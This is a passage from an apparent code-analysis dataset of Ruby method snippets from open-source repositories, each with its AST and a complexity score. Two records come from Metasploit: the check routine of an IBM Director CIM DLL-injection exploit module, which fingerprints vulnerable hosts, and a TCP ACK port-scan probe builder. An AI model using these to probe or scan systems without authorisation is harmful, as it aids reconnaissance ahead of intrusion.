]},{\"type\":\"str\",\"children\":[\"The number of times Gitlab::Highlight is used\"]}]}]}]}]}","id":"414db2e3-8df8-4288-af8a-a27a2f0b6001"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb","start_line":237,"raw_source":"def check\n    peer = \"#{rhost}:#{rport}\"\n    print_status(\"Checking if CIMListener exists...\")\n\n    res = send_request_cgi({\n      'uri' => \"/CIMListener/\",\n      'method' => 'M-POST',\n      'ctype' => 'application/xml; charset=utf-8',\n      'headers'\t=> {\n        \"Man\" => \"http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\",\n        \"CIMOperation\" => \"MethodCall\",\n        \"CIMExport\" => \"MethodRequest\",\n        \"CIMExportMethod\" => \"ExportIndication\"\n      },\n      'data' => xml_data,\n    }, 1)\n\n    if res and res.code == 200 and res.body =~ /CIMVERSION/\n      return CheckCode::Appears\n    end\n\n    return CheckCode::Safe\n  end","complexity_score":14.75,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Checking if CIMListener exists...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/CIMListener/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"M-POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/xml; charset=utf-8\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Man\"]},{\"type\":\"str\",\"children\":[\"http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CIMOperation\"]},{\"type\":\"str\",\"children\":[\"MethodCall\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CIMExport\"]},{\"type\":\"str\",\"children\":[\"MethodRequest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CIMExportMethod\"]},{\"type\":\"str\",\"children\":[\"ExportIndication\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"xml_data\"]}]}]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"CIMVERSION\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"d65b59c2-b9fd-4bd9-96be-abc8d741848a"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/test_process.rb","start_line":34,"raw_source":"def assigns(key = nil)\n      raise NoMethodError,\n        'assigns has been extracted to a gem. To continue using it,\n        add `gem \"rails-controller-testing\"` to your Gemfile.'\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assigns\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"key\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"assigns has been extracted to a gem. To continue using it,\\n\"]},{\"type\":\"str\",\"children\":[\"        add `gem \\\"rails-controller-testing\\\"` to your Gemfile.\"]}]}]}]}","id":"8ffa1a49-a79c-4c9f-8a68-fee5bc9ccfe1"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/finders/conversation_finder.rb","start_line":162,"raw_source":"def filter_by_source_id\n    return unless params[:source_id]\n\n    @conversations = @conversations.joins(:contact_inbox)\n    @conversations = @conversations.where(contact_inboxes: { source_id: params[:source_id] })\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_source_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_id\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@conversations\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"contact_inbox\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@conversations\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact_inboxes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_id\"]}]}]}]}]}]}]}]}]}]}","id":"5175a921-017b-4b82-b365-be782bf77d70"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tab_width.rb","start_line":11,"raw_source":"def css_class_for_user(user)\n      return css_class_for_value(DEFAULT) unless user\n\n      css_class_for_value(user.tab_width)\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"css_class_for_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"css_class_for_value\",{\"type\":\"const\",\"children\":[null,\"DEFAULT\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"css_class_for_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"tab_width\"]}]}]}]}","id":"c63a5a13-3b7e-4dd8-a14d-a176043f1672"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/upload_creator.rb","start_line":476,"raw_source":"def is_still_too_big?\n    if max_image_pixels > 0 && pixels >= max_image_pixels\n      @upload.errors.add(\n        :base,\n        I18n.t(\n          \"upload.images.larger_than_x_megapixels\",\n          max_image_megapixels: SiteSetting.max_image_megapixels,\n        ),\n      )\n      true\n    elsif max_image_size > 0 && filesize >= max_image_size\n      @upload.errors.add(\n        :base,\n        I18n.t(\n          \"upload.images.too_large_humanized\",\n          max_size: ActiveSupport::NumberHelper.number_to_human_size(max_image_size),\n        ),\n      )\n      true\n    else\n      false\n    end\n  end","complexity_score":30.4,"ast_json":"{\"type\":\"def\",\"children\":[\"is_still_too_big?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_image_pixels\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pixels\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"max_image_pixels\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@upload\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"upload.images.larger_than_x_megapixels\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_image_megapixels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_image_megapixels\"]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_image_size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filesize\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"max_image_size\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@upload\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"upload.images.too_large_humanized\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]},\"number_to_human_size\",{\"type\":\"send\",\"children\":[null,\"max_image_size\"]}]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"09019664-0629-435e-b87f-139784023e42"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/invite.rb","start_line":250,"raw_source":"def self.find_user_by_email(email)\n    User.with_email(Email.downcase(email)).where(staged: false).first\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_user_by_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"with_email\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"downcase\",{\"type\":\"lvar\",\"children\":[\"email\"]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"staged\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"first\"]}]}","id":"c4b6a16a-ec8f-4ded-b80d-5e13fc631ecc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/diff_discussion.rb","start_line":46,"raw_source":"def cache_key\n    positions_json = diff_note_positions.map { |dnp| Gitlab::Json.dump(dnp.position) }\n    positions_sha = Digest::SHA1.hexdigest(positions_json.join(':')) if positions_json.any?\n\n    [\n      super,\n      Digest::SHA1.hexdigest(Gitlab::Json.dump(position)),\n      positions_sha\n    ].join(':')\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"positions_json\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_note_positions\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dnp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"dump\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dnp\"]},\"position\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"positions_json\"]},\"any?\"]},{\"type\":\"lvasgn\",\"children\":[\"positions_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"positions_json\"]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"dump\",{\"type\":\"send\",\"children\":[null,\"position\"]}]}]},{\"type\":\"lvar\",\"children\":[\"positions_sha\"]}]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]}","id":"b8ca6304-16a1-4a06-b9bd-26469f640e98"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/portscan/ack.rb","start_line":124,"raw_source":"def buildprobe(shost, sport, dhost, dport)\n    p = PacketFu::TCPPacket.new\n    p.ip_saddr = shost\n    p.ip_daddr = dhost\n    p.tcp_sport = sport\n    p.tcp_ack = rand(0x100000000)\n    p.tcp_flags.ack = 1\n    p.tcp_dport = dport\n    p.tcp_win = 3072\n    p.recalc\n    p\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"buildprobe\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shost\"]},{\"type\":\"arg\",\"children\":[\"sport\"]},{\"type\":\"arg\",\"children\":[\"dhost\"]},{\"type\":\"arg\",\"children\":[\"dport\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"TCPPacket\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_saddr=\",{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_daddr=\",{\"type\":\"lvar\",\"children\":[\"dhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_sport=\",{\"type\":\"lvar\",\"children\":[\"sport\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_ack=\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4294967296]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_flags\"]},\"ack=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_dport=\",{\"type\":\"lvar\",\"children\":[\"dport\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_win=\",{\"type\":\"int\",\"children\":[3072]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"recalc\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}","id":"3b2995aa-da17-4732-a0b7-e6319b45a648"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":1685,"raw_source":"def test_column_types_on_queries_on_postgresql\n      result = ActiveRecord::Base.lease_connection.exec_query(\"SELECT 1 AS test\")\n      assert_equal ActiveModel::Type::Integer, result.column_types[\"test\"].class\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_column_types_on_queries_on_postgresql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"exec_query\",{\"type\":\"str\",\"children\":[\"SELECT 1 AS test\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"test\"]}]},\"class\"]}]}]}]}","id":"6c44b024-9a6f-4b3a-9e10-5331267f3eba"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_line_after_guard_clause.rb","start_line":117,"raw_source":"def next_line_empty?(line)\n          processed_source[line].blank?\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"next_line_empty?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},\"blank?\"]}]}","id":"b69cdf83-c62d-4d65-b37a-65c5d8d8eca8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/explore/projects_controller.rb","start_line":121,"raw_source":"def load_topics\n    @topics = Projects::TopicsFinder.new(\n      params: params.permit(:search),\n      organization_id: current_organization&.id\n    ).execute.page(pagination_params[:page]).without_count\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"load_topics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"TopicsFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_organization\"]},\"id\"]}]}]}]},\"execute\"]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pagination_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"without_count\"]}]}]}","id":"8970e075-780a-46e2-8ed2-68d90f033c31"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250602152141_add_organization_id_to_ci_runners.rb","start_line":13,"raw_source":"def up\n    with_lock_retries do\n      add_column(TABLE_NAME, :organization_id, :bigint, if_not_exists: true)\n    end\n\n    return unless archived_table_present?\n\n    with_lock_retries do\n      add_column(ARCHIVED_TABLE_NAME, :organization_id, :bigint, if_not_exists: true)\n      recreate_sync_trigger # rubocop:disable Migration/WithLockRetriesDisallowedMethod -- false positive\n    end\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"archived_table_present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"recreate_sync_trigger\"]}]}]}]}]}","id":"e80d71d6-57bb-487f-832d-0e31fcff84ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/groups_helper.rb","start_line":299,"raw_source":"def remove_the_share_with_group_lock_from_ancestor(group)\n    ancestor = oldest_consecutively_locked_ancestor(group)\n    text = s_(\"GroupSettings|remove the share with group lock from %{ancestor_group_name}\") % { ancestor_group_name: ancestor.name }\n    if can?(current_user, :admin_group, ancestor)\n      link_to text, edit_group_path(ancestor)\n    else\n      text\n    end\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_the_share_with_group_lock_from_ancestor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ancestor\",{\"type\":\"send\",\"children\":[null,\"oldest_consecutively_locked_ancestor\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"GroupSettings|remove the share with group lock from %{ancestor_group_name}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ancestor_group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_group\"]},{\"type\":\"lvar\",\"children\":[\"ancestor\"]}]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"edit_group_path\",{\"type\":\"lvar\",\"children\":[\"ancestor\"]}]}]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}","id":"f3dcfecc-db4e-4369-aa77-49642bfe1af3"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_view.rb","start_line":787,"raw_source":"def unfiltered_post_ids\n    @unfiltered_post_ids ||=\n      begin\n        if @contains_gaps\n          unfiltered_posts.pluck(:id)\n        else\n          filtered_post_ids\n        end\n      end\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"unfiltered_post_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@unfiltered_post_ids\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contains_gaps\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unfiltered_posts\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"filtered_post_ids\"]}]}]}]}]}","id":"b55076ec-878f-42bd-8a83-decad4400b87"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/turbo_tests/progress_formatter.rb","start_line":41,"raw_source":"def wrap\n      @examples += 1\n\n      if ENV[\"GITHUB_ACTIONS\"] && @examples == LINE_LENGTH\n        output.print \"\\n\"\n        @examples = 0\n      end\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@examples\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITHUB_ACTIONS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@examples\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"LINE_LENGTH\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"print\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@examples\",{\"type\":\"int\",\"children\":[0]}]}]},null]}]}]}","id":"9250139a-7ad8-4c21-bdf4-8171097deda3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/base_manager/refresh_worker/runner.rb","start_line":4,"raw_source":"def after_initialize\n    @emss = ExtManagementSystem.find([@cfg[:ems_id]])\n    @emss.each do |ems|\n      do_exit(\"Unable to find instance for EMS id [#{@cfg[:ems_id]}].\", 1) if ems.nil?\n      do_exit(\"EMS id [#{ems.id}] failed authentication check.\", 1) unless ems.authentication_check.first\n    end\n  end","complexity_score":17.75,"ast_json":"{\"type\":\"def\",\"children\":[\"after_initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@emss\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtManagementSystem\"]},\"find\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cfg\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ems_id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@emss\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"do_exit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to find instance for EMS id [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cfg\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ems_id\"]}]}]},{\"type\":\"str\",\"children\":[\"].\"]}]},{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"authentication_check\"]},\"first\"]},null,{\"type\":\"send\",\"children\":[null,\"do_exit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"EMS id [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"] failed authentication check.\"]}]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"d26d3ab3-e1ca-476d-a52c-2ef4b7e5b1fd"}
